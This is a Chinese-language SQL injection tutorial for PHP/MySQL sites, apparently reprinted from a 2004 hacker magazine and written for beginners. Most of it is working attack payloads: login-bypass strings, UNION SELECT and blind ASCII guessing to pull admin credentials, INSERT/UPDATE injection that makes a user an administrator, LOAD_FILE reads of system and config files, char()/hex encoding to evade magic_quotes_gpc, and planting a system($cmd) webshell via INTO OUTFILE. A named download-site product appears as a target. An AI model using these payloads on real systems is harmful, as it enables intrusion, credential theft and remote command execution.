php注入專題

gudesheng發表於2008-01-03

php注入專題
                                          ------------Alpha



/*此文已發於《黑客x檔案》2004年10期專題。
謹以此文獻給最愛我的爸爸媽媽,以及所有幫助過我的人。*/

/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@由於xfocus不支援上傳圖片
您可以到http://www.54hack.info/txt/php.pdf下載此文的pdf文件(含圖片)*/

Php注入攻擊是現今最流行的攻擊方式,依靠它強大的靈活性吸引了廣大黑迷。

在上一期的《php安全與注射專題》中林.linx主要講述了php程式的各種漏洞,也講到了php+mysql注入的問題,可是講的注入的問題比較少,讓我們感覺沒有盡興是吧.
OK,這一期我將給大傢伙仔仔細細的吹一吹php+mysql注入,一定讓你滿載而歸哦(誰扔磚頭哩!)。
本文主要是為小菜們服務的,如果你已經是一隻老鳥呢,可能某些東西會感覺比較乏味,但只要你仔細的看,你會發現很多有趣的東西哦。

閱讀此文你只要明白下面的這點東西就夠了。

1.明白php+mysql環境是如何搭建的,在光碟中我們收錄搭建的相關文章,如果您對搭建php+mysql環境不是很清楚,請先查閱此文,在上一期的專題中也有所介紹。
2.大概瞭解php和apache的配置,主要用到php.ini和httpd.conf
而此文我們主要用到的是php.ini的配置。為了安全起見我們一般都開啟php.ini裡的安全模式,即讓safe_mode = On,還有一個就是返回php執行錯誤的display_errors 這會返回很多有用的資訊,所以我們應該關閉之,
即讓display_errors=off  關閉錯誤顯示後,php函式執行錯誤的資訊將不會再顯示給使用者。
在php的配置檔案php.ini中還有一個非常重要的配置選項magic_quotes_gpc,高版本的預設都是magic_quotes_gpc=On,只有在原來的古董級的php中的
預設配置是magic_quotes_gpc=Off,可是古董的東西也有人用的哦!
當php.ini中magic_quotes_gpc=On的時候會有什麼情況發生哩,不用驚慌,天是塌不下來的啦!它只是把提交的變數中所有的 ' (單引號), “ (雙引號), / (反斜線) 和 空字元會自動轉為含有反斜線的轉義字元,例如把’變成了/’,把/變成了//。
就是這一點,讓我們很不爽哦,很多時候我們對字元型的就只好說BYEBYE了,
但是不用氣餒,我們還是會有好方法來對付它的,往下看咯!
3.有一定的php語言基礎和了解一些sql語句,這些都很簡單,我們用到的東西很少,所以充電還來的及哦!

我們先來看看magic_quotes_gpc=Off的時候我們能幹些啥,然後我們再想辦法搞一搞magic_quotes_gpc=On的情況哈

一:magic_quotes_gpc=Off時的注入攻擊
magic_quotes_gpc=Off的情況雖然說很不安全,新版本預設也讓
magic_quotes_gpc=On了,可是在很多伺服器中我們還發現magic_quotes_gpc=Off的情況,例如www.qichi.*。
還有某些程式像vbb論壇就算你配置magic_quotes_gpc=On,它也會自動消除轉義字元讓我們有機可乘,所以說
magic_quotes_gpc=Off的注入方式還是大有市場的。

下面我們將從語法,注入點 and 注入型別幾個方面來詳細講解mysql+php注入

A:從MYSQL語法方面先
  1。先講一些mysql的基本語法,算是給沒有好好學習的孩子補課了哦~_~
      1)select
    SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT]
    select_expression,...
    [INTO {OUTFILE | DUMPFILE} 'file_name' export_options]
    [FROM table_references
        [WHERE where_definition]
        [GROUP BY col_name,...]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...]
      ]
常用的就是這些,select_expression指想要檢索的列,後面我們可以用where來限制條件,我們也可以用into outfile將select結果輸出到檔案中。當然我們也可以用select直接輸出
例如

mysql> select 'a';
+---+
| a |
+---+
| a |
+---+
1 row in set (0.00 sec)
具體內容請看mysql中文手冊7.12節
下面說一些利用啦
看程式碼先
這段程式碼是用來搜尋的哦

“>




<?php
………
SELECT * FROM users WHERE username LIKE ‘%$search%’ ORDER BY username
…….
?>

這裡我們順便說一下mysql中的萬用字元,’%’就是萬用字元,其它的萬用字元還有’*’和’_’,其中" * "用來匹配欄位名,而" % "用來匹配欄位值,注意的是%必須與like一起適用,還有一個萬用字元,就是下劃線" _ ",它代表的意思和上面不同,是用來匹配任何單個的字元的。在上面的程式碼中我們用到了’*’表示返回的所有欄位名,%$search%表示所有包含$search字元的內容。

我們如何注入哩?
哈哈,和asp裡很相似
在表單裡提交
Aabb%’ or 1=1 order by id#
注:#在mysql中表示註釋的意思,即讓後面的sql語句不執行,後面將講到。
或許有人會問為什麼要用or 1=1呢,看下面,

把提交的內容帶入到sql語句中成為

SELECT * FROM users WHERE username LIKE ‘%aabb%’ or 1=1 order by id# ORDER BY username

假如沒有含有aabb的使用者名稱,那麼or 1=1使返回值仍為真,使能返回所有值

我們還可以這樣

在表單裡提交
%’ order by id#
或者
’ order by id#
帶入sql語句中成了
SELECT * FROM users WHERE username LIKE ‘% %’ order by id# ORDER BY username

SELECT * FROM users WHERE username LIKE ‘%%’ order by id# ORDER BY username
當然了,內容全部返回。
列出所有使用者了喲,沒準連密碼都出來哩。
這裡就舉個例子先,下面會有更精妙的select語句出現,select實際上幾乎是無處不在的哦!
2)下面看update咯
Mysql中文手冊裡這麼解釋的:
UPDATE [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,...
        [WHERE where_definition]
UPDATE用新值更新現存表中行的列,SET子句指出哪個列要修改和他們應該被給定的值,WHERE子句,如果給出,指定哪個行應該被更新,否則所有行被更新。
詳細內容去看mysql中文手冊7.17節啦,在這裡詳細介紹的話會很羅嗦的哦。
由上可知update主要用於資料的更新,例如文章的修改,使用者資料的修改,我們似乎更關心後者,因為......
看程式碼先哦
我們先給出表的結構,這樣大家看的明白
CREATE TABLE users (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
其中userlevel表示等級,1為管理員,2為普通使用者
<?php
//change.php
……
$sql = "UPDATE users SET password='$pass', email='$email' WHERE id='$id'"
……
?>
Ok,我們開始注入了哦,在添email的地方我們添入
netsh@163.com’,userlevel=’1
sql語句執行的就是
UPDATE users SET password='youpass',
email='netsh@163.com’,userlevel=’1’ WHERE id='youid’
看看我們的userlevel就是1了,變成管理員了喲
哈哈,如此之爽,簡直是居家旅行必備啊。
這裡我們簡單提一下單引號閉合的問題,如果只用了一個單引號而沒有單引號與之組成一對,系統會返回錯誤。列型別主要分為數字型別,日期和時間型別,字串型別,然而引號一般用在字串型別裡,而在數字型別裡一般人都不會用到引號(然而卻是可以用的,而且威力很大),日期和時間型別就很少用於注入了(因為很少有提交時間變數的)。在下面我們會詳細將這幾種型別的注入方式哦!

3)下面輪到insert了,它已經等的不耐煩了,簡直就像中午食堂裡的學生們。
Php中文手冊是這樣教我們的:
INSERT [LOW_PRIORITY | DELAYED] [IGNORE]
        [INTO] tbl_name [(col_name,...)]
        VALUES (expression,...),(...),...
INSERT把新行插入到一個存在的表中,INSERT ... VALUES形式的語句基於明確指定的值插入行,INSERT ... SELECT形式插入從其他表選擇的行,有多個值表的INSERT ... VALUES的形式在MySQL 3.22.5或以後版本中支援,col_name=expression語法在MySQL 3.22.10或以後版本中支援。
由此可見對於見不到後臺的我們來說,insert主要就出現在註冊的地方,或者有其它提交的地方地方也可以哦。

看看錶的結構先
CREATE TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
我們仍然假設userlevel表示使用者等級,1為管理者,2為普通使用者哈。
程式碼如下
<?php
//reg.php
……
$query = "INSERT INTO members VALUES('$id','$login','$pass','$email',’2')" ;
……
?>
預設插入使用者等級是2
現在我們構建注入語句了哦
還是在要我們輸入email的地方輸入:
netsh@163.com’,’1’)#
sql語句執行時變成了:
INSERT INTO membres VALUES ('youid','youname','youpass',' netsh@163.com’,’1’)#',?')
看我們一註冊就是管理員了。
#號表示什麼來著,不是忘了吧,暈了,這麼快?
忘就忘了吧,下面再詳細給你說說

2.下面說一說mysql中的註釋,這個是很重要的,大家可不能再睡覺啦,要是再睡覺到期末考試的時候就掛了你們。
我們繼續
相信大家在上面的幾個例子中已經看到註釋的強大作用了吧,這裡我們將再詳細介紹一下。
Mysql有3種註釋句法
# 注射掉註釋符後面的本行內容
-- 注射效果同#
/* ... */  註釋掉符號中間的部分

對於#號將是我們最常用的註釋方法。
-- 號記得後面還得有一個空格才能起註釋作用。
/*…*/  我們一般只用前面的/*就夠了,因為後面的我們想加也不行,是吧?

注意:在瀏覽器位址列輸入#時應把它寫成%23,這樣經urlencode轉換後才能成為#,從而起到註釋的作用。#號在瀏覽器的地址框中輸入的話可什麼也不是哦。
為了大家深刻理解
這裡我給大家來個例題

有如下的管理員資訊表

CREATE TABLE alphaauthor (
  Id tinyint(4) NOT NULL auto_increment,
  UserName varchar(50) NOT NULL default '',
  PASSWORD varchar(50) default NULL,
  Name varchar(50) default NULL,
  PRIMARY KEY  (Id),
  UNIQUE KEY Id (Id),
  KEY Id_2 (Id)
)

<?php
//Login.php
……
$query="select * from alphaauthor where UserName='$username' and Password='$passwd'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
    {
    Echo “重要資訊”;
    }
    Else
    Echo “登陸失敗”;
……
?>

我們在瀏覽器地址框直接輸入
http://***/login.php?username=a’or id=1 %23
%23轉換成#了
放到sql語句中
select * from alphaauthor where UserName='a’or id=1 #' and Password='$passwd'
#號後面的都拜輸入了,看看
這句話等價於
select * from alphaauthor where UserName='a’or id=1

再仔細看看錶的結構,只要有id=1的賬戶,返回的$data就應該為真
我們就直接登陸了,當然你也可以寫
hppt://***/login.php?username=a’or 1=1 %23
一樣的啦

3.下面將要出場的是……
對了,就是這些顯示系統資訊的間諜們

VERSION() 返回資料庫版本資訊
DATABASE() 返回當前的資料庫名字,如果沒有當前的資料庫,DATABASE()返回空字串。
USER()
SYSTEM_USER()
SESSION_USER()
返回當前MySQL使用者名稱
mysql> select user(),database(),version();
+----------------+------------+----------------+
| user()         | database() | version()      |
+----------------+------------+----------------+
| root@localhost | alpha      | 5.0.0-alpha-nt |
+----------------+------------+----------------+
1 row in set (0.01 sec)
如圖(1)所示,圖不是很爽是不是?睜大你的大眼睛好好看哦

有時候很有用的哦,比如說你可以根據他的mysql版本看看他的mysql有沒有什麼溢位漏洞,沒準我們就發現個好動東哈哈

4. 下面進入最重要的部分了,沒睡覺的打起精神來,睡著了的醒一醒啦。
1)select union select
還是php中文手冊中講的:
SELECT ... UNION [ALL] SELECT ... [UNION SELECT ...]
UNION 在 MySQL 4.0.0 中被實現。
UNION 用於將多個 SELECT 語句的結果聯合到一個結果集中。

在 SELECT 中的 select_expression 部分列出的列必須具有同樣的型別。第一個 SELECT 查詢中使用的列名將作為結果集的列名返回。
SELECT 命令是一個普通的選擇命令,但是有下列的限制:
只有最後一個 SELECT 命令可以有 INTO OUTFILE。

需要注意的是union前後的select欄位數相同,只有這樣union函式才能發揮作用。如果欄位數不等將返回
ERROR 1222 (21000): The used SELECT statements have a different number of columns 錯誤
暈咯,這樣不好吧。咋半哩?
別急哈,急也沒用的
例如:
已知alphadb表有11列
我們
mysql> select * from alphadb where id=351 union select 1,2,3,4,5,6,7,8,9,10 from alphaauthor;
如圖(2)

我們只slect了10個數當然出錯啦。
下面看
mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如圖(3)

我們看看id=247中的資料先
mysql> select * from alphadb where id=347;
+-----+--------------------------------------------+-----------------
| id  | title | content | importtime | author | accessing | addInto | type | showup | change_ubb | change_html |
+-----+--------------------------------------------+-----------------
| 347 | 利用adsutil.vbs+..--發表於黑客檔案2004.6期 | 發表於黑客x檔案第6期 | 2004
-03-28 11:50:50 | Alpha  | 17 | Alpha  |    2 |   1 |    1 |  1 |
+-----+--------------------------------------------+-----------------
1 row in set (0.00 sec)
我們看到,它的返回結果和
mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
是相同的。
哦,大家或許會問,這樣有什麼用呢?
問的好。
Ok,繼續試驗
當我們輸入一個不存在的id的時候
例如id=0,或者id=347 and 1<>1
再看看
mysql> select * from alphadb where id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如圖(4)

我們發現它把我們後面的1,2,3,4,5,6,7,8,9,10,11賦給了各個欄位來顯示。
哈哈,終於顯示不一樣了,可是這有什麼用呢?
先不告訴你。
我們講一個具體的例子先
http://localhost/site/display.php?id=347
看看圖5

http://localhost/site/display.php?id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor
結果如圖6

下面我們用一幅圖來總結一下union的用法如圖7

Ok,知道怎麼利用了不?不知道的話下面將會詳細告訴你。
2)LOAD_FILE
這個功能太強大了,這也是林.linx在上一個專題中提到的方法。雖然說過了,可我也不得不再提出來。
Load_file可以返回檔案的內容,記得寫全檔案的路徑和檔名稱
Etc.
我們在mysql的命令列下輸入

mysql> select load_file('c:/boot.ini');
效果如圖(8)

可是我們在網頁中怎麼搞呢?
我們可以結合union select使用
http://localhost/site/display.php?id=347%20and%201<>1%20union%20select%201,2,load_file('c:/apache/htdocs/site/lib/sql.inc'),4,5,6,7,8,9,10,11
這裡的c:/apache/htdocs/site/lib/sql.inc並不是我的配置檔案哦,:P
看仔細圖9中的

看看,檔案內容暴露無疑。
我們為什麼要把load_file('c:/apache/htdocs/site/lib/sql.inc')放在3欄位呢?我們前面提到列型別一共有那麼三種,而原來圖7中顯示3的地方應該是顯示文章內容,應該是字元型的,而load_file('c:/apache/htdocs/site/lib/sql.inc')也一定是字元型的,所以我們猜測放在3欄位可以順利顯示。
其實還有很多好的利用方法,繼續往下看哦!
3) select * from table into outfile'file.txt'
有啥用哩?
作用就是把表的內容寫入檔案,知道有多重要了吧,我們寫個webshell吧,哈哈。
當然我們不只是匯出表,我們還可以匯出其它東西的哦,往下看啦。
假設有如下表

#
# 資料表的結構 `test`
#

CREATE TABLE test (
  a text,
  b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

#
# 匯出下面的資料庫內容 `test`
#

INSERT INTO test VALUES ('<?php system($cmd); ?>', NULL);

已知我的網站路徑在C:/apache/htdocs/site/
好,看你表演哦,輸入
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,a,4,5,6,7,8,9,10,11%20from%20test%20into%20outfile%20'C:/apache/htdocs/site/cmd.php'
意思就是把表裡的a列內容匯出到cmd.phpzhong
看看cmd.php裡的內容先
1    2    <?php system($cmd); ?>    0000-00-00 00:00:00    5    6    7    8    9    10    11
我們執行一下看看先
http://localhost/site/cmd.php?cmd=dir
如圖(10)


哈哈,果然很爽哦!
4)下面給大家講述LOAD DATA INFILE的故事

LOAD DATA [LOW_PRIORITY] [LOCAL] INFILE 'file_name.txt' [REPLACE | IGNORE] INTO TABLE tbl_name

LOAD DATA INFILE語句從一個文字檔案中以很高的速度讀入一個表中。
因為這個語句一般情況下不能在瀏覽器裡直接輸入,所以作用不是很大。

這裡舉個例子來說說
表test的結構和上面介紹的一樣

#
# 資料表的結構 `test`
#

CREATE TABLE test (
  a text,
  b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;


我們在mysql命令列下輸入:
Mysql>load data infile 'c:/cmd.php' into table test

其中c:/cmd.php內容為
<?php system($cmd); ?>
注意:上面的內容寫在一行裡哦。
通過上面的指令我們就把cmd.asp的內容輸入到了test表中
所得結果如圖(11)

實際上得到的就是上個例子test表中的內容!看看,再結合into outfile,是不是一個完美的組合呢。
基本的語法就將到這裡了,可能還有很多重要的東西漏掉了哦,你可以去php中文手冊裡淘金,相信你一定會找到很多好東西的,自己挖掘吧。(隨光碟我們付上一個php中文手冊)

B:從注入方式上
主要有數字型,字元型和搜尋類
1.    數字型
很常見了,我們上面舉的就一直是字元型的例子,大家應該還都記得asp下如何破管理員密碼,下面我們來看一下php下如何實現
我們在位址列輸入:
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor)
判斷是否存在alphaauthor,如果有返回正常頁面(一般情況啦,有的時候也返回其它什麼的,這主要根據構造1=1 和1=2時的頁面判斷)

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5)
判斷是否username欄位的長度為5

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5%20and%20length(password)=32)
跟上面差不多啦,判斷password欄位的長度

下面進入猜密碼的階段,用ascii方法來一位一位猜測吧。Ascii等同於asp下的asc,哈哈,經常看黑客X檔案的一定很清楚啦。
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,1,1))=97)
使用者名稱第一位哦ascii97就是字元a啦

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,2,1))=108)
第二位啦,這裡只放這一個圖啦,如圖(12)


下面省略X條。
反正我們最後是得出使用者名稱和密碼了。
我們會發現這裡的注入方法幾乎和asp下的注入是一樣的,就是把asc變成ascii,把len變成length就可以了,最後我們就可以得到後臺的管理員賬號和密碼,
當然我們有更簡單的方法,可以直接用union的方法直接得到

http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor
如圖(13)

賬號是alpha,密碼是一長串的東東,哈哈,簡單明瞭,看到沒有,這裡顯示出了union select的強大威力了吧。

上面講的是在不通的表裡面猜測內容,如果在同一個表裡面我們還可以像下面這樣哩:
下面的一段程式碼根據使用者id顯示使用者資訊

<?php
//user.php
………..
$sql = "SELECT * FROM user WHERE id=$id";
…………

if (!$result)
{
echo "wrong";
exit;
}
else
echo "使用者資訊";
?>

猜測方法和上面幾乎是一樣的,就是我們不用再用select了。
我們輸入
http://localhost/user.php?id=1 and length(password)=7
顯示使用者資訊說明我們猜的正確,呵呵,comeon

http://localhost/user.php?id=1 and ascii(mid(password,1,1))=97
第一位密碼
http://localhost/user.php?id=1 and ascii(mid(password,2,1))=97
第二位哦,

通過這種方法最終我們也可以得出id=1的使用者的賬號密碼

2.    下面我們來看看字元型的注入方式
在asp中字元型的注入方式很靈活,在php中字元型的注入就主要在
magic_quotes_gpc=Off的情況下進行了。(除非有另外一種情況,先不告訴你)

例如:
<?php
//display.php
……
$query="select * from alphadb where id=’”.$id.”’";
…………..
?>
這樣id就變成字元型的了。
不知道大家發現沒有,假如我們這樣寫程式的話,安全性會有所提高的哦
    呵呵,繼續了
好我們檢驗是否有注入先
http://localhost/site/display.php?id=451' and 1=1 and ‘’=’
http://localhost/site/display.php?id=451' and 1=2 and ‘’=’
帶入到sql語句裡就是
select * from alphadb where id=’451’and 1=1 and ‘’=’’
select * from alphadb where id=’451’and 1=2 and ‘’=’’

如果你發現頁面資訊不同的話說明漏洞存在哦
或者
http://localhost/site/display.php?id=451' and 1=1 %23
http://localhost/site/display.php?id=451' and 1=2 %23
%23轉化以後就是#,即註釋的意思,上面說過了哦
這樣的話就不用考慮那個引號的閉合問題了,實際很多時候我們推薦這種方法。
把它帶入到sql語句裡就成了
select * from alphadb where id=’451’and 1=1 #’
正是我們想要的哦!
看看效果吧,
http://localhost/site/display.php?id=451' and 1=1 %23
圖(14)

正常顯示了囈!

http://localhost/site/display.php?id=451' and 1=2 %23
圖(15)


顯示不正常,哈哈,說明問題存在
我們繼續哦:
http://localhost/site/display.php?id=451’%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor%23
看圖(16)

Ok,使用者名稱和密碼又出來了哦!
3.    大家一起來看看搜尋型注入吧
搜尋型的語句一般這樣寫
<?php
//search.php
……
$query="select * from alphadb where title like '%$title%';
…………..
?>
不知道大家還是否記得asp裡的注入呢?
不過不記得也沒有關係的啦,我們看吧。
我們構建注入語句吧
在輸入框輸入
a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor#放到sql語句中成了

select * from alphadb where title like '%a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %'
結果如圖17哦

怎麼樣,出來了吧,哈哈,一切盡在掌握之中。

C:下面我們從注入地點上在來看一下各種注入攻擊方式
1)    首先來看看後臺登陸哦
程式碼先
<?php
//login.php
…….
$query="select * from alphaauthor where UserName='"
.$HTTP_POST_VARS["UserName"]."' and
Password='". $HTTP_POST_VARS["Password"]."'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo “後臺登陸成功”;
}
esle
{
echo “重新登陸”;
exit;


………
?>
Username和password沒有經過任何處理直接放到sql中執行了。
看看我們怎麼繞過呢?
最經典的還是那個:
在使用者名稱和密碼框裡都輸入
‘or’’=’
帶入sql語句中成了
select * from alphaauthor where UserName=’’or’’=’’ and Password=’’or’’=’’
這樣帶入得到的$data肯定為真,也就是我們成功登陸了。
還有其他的繞過方法,原理是一樣的,就是想辦法讓$data返回是真就可以了。
我們可以用下面的這些中方法哦
1.
使用者名稱和密碼都輸入’or’a’=’a
Sql成了
select * from alphaauthor where UserName=’’or’a’=’a’ and Password=’’or’a’=’a’

2.
使用者名稱和密碼都輸入’or 1=1 and ‘’=’
Sql成了
select * from alphaauthor where UserName=’ ’or 1=1 and ‘’=’’ and Password=’ ’or 1=1 and ‘’=’’
使用者名稱和密碼都輸入’or 2>1 and ‘’=’
Sql成了
select * from alphaauthor where UserName=’ ’or 2>1 and ‘’=’’ and Password=’ ’or 2>1 and ‘’=’’

3.
使用者名稱輸入’or 1=1 # 密碼隨便輸入
Sql成了
select * from alphaauthor where UserName=’ ’or 1=1 # and Password=’anything’
後面部分被註釋掉了,當然返回還是真哦。
        4.
假設admin的id=1的話你也可以

使用者名稱輸入’or id=1 # 密碼隨便輸入
Sql成了
select * from alphaauthor where UserName=’ ’or id=1 # and Password=’anything’
如圖18

看看效果圖19


怎麼樣?直接登陸了哦!

俗話說的好,只有想不到沒有做不到。
還有更多的構造方法等著課後自己想啦。

2)第二個常用注入的地方應該算是前臺資料顯示的地方了。
上面已經多次提到了呀,而且涉及了數字型,字元型等等,這裡就不再重複了哈。
只是舉個例子回顧一下
碧海潮聲下載站 - v2.0.3 lite有注入漏洞,程式碼就不再列出來了
直接看結果
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users
如圖20

看看,我們又得到我們想要的了
使用者名稱alpha
密碼一長串。
為什麼我們要把password放在3欄位處,把username放在5欄位處了,我們上面已經提過了哦,就是我們猜測3和5段顯示的應該是字串型,而與我們要顯示的username和password的欄位型別應該相同,所以我們這樣放了哦。
為什麼要用18個欄位呢?不知道大家還是否記得在union select介紹那裡我們提到union必須要求前後select的欄位數相同,我們可以通過增加select的個數來猜測到需要18個欄位,只有這樣union select的內容才會正常顯示哦!
3)其它如資料修改,使用者註冊的地方主要得有使用者等級的應用。
我們在上面講述update和insert的時候都已經講到,因為不是很常用,這裡就不再闡述,在下面將會提到一些關於update和insert的高階利用技巧。
二:下面將要進入magic_quotes_gpc=On時候的注入攻擊教學環節了
    當magic_quotes_gpc=On的時候,交的變數中所有的 ' (單引號),
“ (雙引號), / (反斜線) 和 空字元會自動轉為含有反斜線的轉義字元。
    這就使字元型注入的方法化為泡影,這時候我們就只能注入數字型且沒有
Intval()處理的情況了,數字型的我們已經講了很多了是吧,由於數字型沒有用到單引號自然就沒有繞過的問題了,對於這種情況我們直接注入就可以了。
1)假如是字元型的就必須得像下面這個樣子,沒有在字元上加引號 。
    
這裡我們要用到一些字串處理函式先,
字串處理函式有很多,這裡我們主要講下面的幾個,具體可以參照mysql中文參考手冊7.4.10。
    
    char() 將引數解釋為整數並且返回由這些整數的ASCII程式碼字元組成的一個字串。
當然你也可以用字元的16進位制來代替字元,這樣也可以的,方法就是在16進位制前面加0x,看下面的例子就明白了。

    <?php
    //login.php
    ……
$query="select * from ".$art_system_db_table['user']."
where UserName=$username and Password='".$Pw."'";
……
?>

假設我們知道後臺的使用者名稱是alpha
轉化成ASCII後是char(97,108,112,104,97)
轉化成16進位制是0x616C706861
(我們將在光碟中提供16進位制和ascii轉換工具)
好了直接在瀏覽器裡輸入:

http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23
sql語句變成:

select * from alphaAuthor where UserName=char(97,108,112,104,97)# and Password=''
如圖21

    正如我們期望的那樣,他順利執行了,我們得到我們想要的。
    當然咯,我們也可以這樣構造
http://localhost/site/admin/login.php?username=0x616C706861%23
sql語句變成:
select * from alphaAuthor where UserName=0x616C706861%23# and Password=''
我們再一次是成功者了。很有成就感吧,

或許你會問我們是否可以把#也放在char()裡
實際上char(97,108,112,104,97)相當於’alpha’
注意是alpha上加引號,表示alpha字串。
我們知道在mysql中如果執行

mysql> select * from dl_users where username=alpha;
ERROR 1054 (42S22): Unknown column 'alpha' in 'where clause'
看返回錯誤了。因為他會認為alpha是一個變數。所以我們得在alpha上加引號。
如下
mysql> select * from dl_users where username='alpha';
這樣才是正確的。
如果你把#號也放到那裡去了,就成了’alpha#’
帶入sql語句中
select * from dl_users where username='alpha#';
當然是什麼也沒有了,因為連alpha#這個使用者都沒有。
好,下面我們再來看個例子,

<?php
    //display.php
    ……
$query="select * from ".$art_system_db_table['article']."
where type=$type;
……
?>

程式碼根據型別來顯示內容,$type沒有任何過濾,且沒有加引號放入程式中。
假設type中含有xiaohua類,xiaohua的char()轉換後是
char(120,105,97,111,104,117,97)

我們構建
http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
帶入sql語句中為:
select * from ".$art_system_db_table['article']."
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
看看,我們的使用者名稱和密碼照樣出來了哦!沒有截圖,想像一下咯:P

2)    或許有人會問,在magic_quotes_gpc=On的情況下功能強大的load_file()還能不能用呢?
這正是我們下面要將的問題了,load_file()的使用格式是load_file(‘檔案路徑’)
我們發現只要把‘檔案路徑’轉化成char()就可以了。試試看哦
load_file(‘c:/boot.ini’)轉化成
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
圖22

    放到具體注入裡就是
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,load_file(char(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
看圖23

    看看,我們看到了boot.ini的內容了哦。
很可惜的是into outfile’’ 不能繞過,不然就更爽了。但是還是有一個地方可以使用select * from table into outfile’’ 那就是….(先賣個關子,下面會告訴你)
三:一些注入技巧,很多都是個人發現哦
1.union select的技巧
UNION 用於將多個 SELECT 語句的結果聯合到一個結果集中。在 SELECT 中的 select_expression 部分列出的列必須具有同樣的型別。第一個 SELECT 查詢中使用的列名將作為結果集的列名返回。
然而有我們可以用下面的方法來猜測列的型別,可是省去很多時間
我們先
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
圖24

看看軟體描述裡寫著3,作者裡寫著4,我們就可以猜測3和4的位置是字元型的,我們再看14前面的是下載次數,這就應該是int型的了,對吧。
好了,我們根據這裡來構建吧,估計username和password也是字元型的。
試試看哦
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users
如圖25

哈哈,這種方法只要看看就可以大概猜到了。
2.load_file讀寫檔案的技巧
不知道你有沒有發現過在我們用load_file()讀寫php檔案時不能在網頁中顯示。例如:
'C:/apache/htdocs/site/lib/sql.inc.php'轉化為16進製為:0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870
我們構造如下
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
如圖26

發現在文章內容的地方本來該顯示sql.inc.php的,可是卻空空之,為何呢?
我們看看網頁的原始碼先
圖27

哈哈,看看標記的地方,暈死,原來在這裡啊,可是為什麼哩?
原來html中< >用於標註,哈哈,明白了吧!下次可得記得在哪裡找哦。
4.    md5的惡夢
山東大學的王博士最近可是搞md5搞的紅透了,我們也來搞一搞吧,我們比他更爽,不用計算,哈哈。
md5我們是有辦法繞過的,但是並不是哪裡都可以,php中的md5函式就不能繞過,因為你輸入的所有東西都在裡面,根本跑不出。可以繞過的是sql語句中的md5。當然別的sql中的函式也是可以繞過的,道理相同哦。
看例子先:
<?php
//login.php
……
$query="select * from alphaauthor where UserName=md5($username) and Password='".$Pw."'";
……
?>
我們直接在瀏覽器提交
http:/login.php?username=char(97,98)) or 1=1 %23
帶入sql語句成為select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password='".$Pw."'
記得md5裡面放的是字元,因為後面有or 1=2,所以我們隨便放了個char(97,98).    Ok,登陸成功了哦!看看,md5在我們面前也沒有什麼用處。
5.    核心技術,利用php+mysql注入漏洞直接寫入webshell。。
直接利用注入得到webshell,這應該是大家都很想的吧,下面就教給你。
這裡假設你已經知道了網站所在的物理路徑,我這裡假設網站路徑為c:/apache/htdocs/site。網站的mysql連線資訊放在/lib/sql.inc.php裡
1)適用於magic_quotes_gpc=Off
假設我們可以上傳圖片,或者txt,zip,等其它東西,我們把我們的木馬改成
jpg字尾的,上傳後路徑為/upload/2004091201.jpg
2004091201.jpg中的內容為 <?php system($cmd); ?>
好,我們開始http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('C:/apache/htdocs/site/upload/2004091201.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php'
因為適用了outfile,所以網頁顯示不正常,但是我們的任務是完成了。
如圖28
我們趕快去看看http://localhost/site/shell.php?cmd=dir
如圖29

